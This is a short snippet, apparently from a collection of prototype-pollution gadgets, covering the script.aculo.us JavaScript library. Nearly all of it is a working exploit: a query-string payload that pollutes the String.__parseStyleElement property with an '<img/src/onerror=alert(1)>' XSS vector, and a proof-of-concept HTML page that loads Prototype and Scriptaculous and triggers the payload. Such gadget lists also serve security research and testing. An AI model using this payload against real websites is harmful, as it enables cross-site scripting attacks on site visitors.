URL: https://github.com/madrobby/scriptaculous
(typeof Scriptaculous !== 'undefined')
String.__parseStyleElement = document.createElement('div');
?x=x&x[constructor][__parseStyleElement][innerHTML]=<img/src/onerror%3dalert(1)>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.3/prototype.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/scriptaculous/1.9.0/scriptaculous.js"></script>
<script>
String.__parseStyleElement.innerHTML = "<img/src/onerror=alert(1)>"
</script>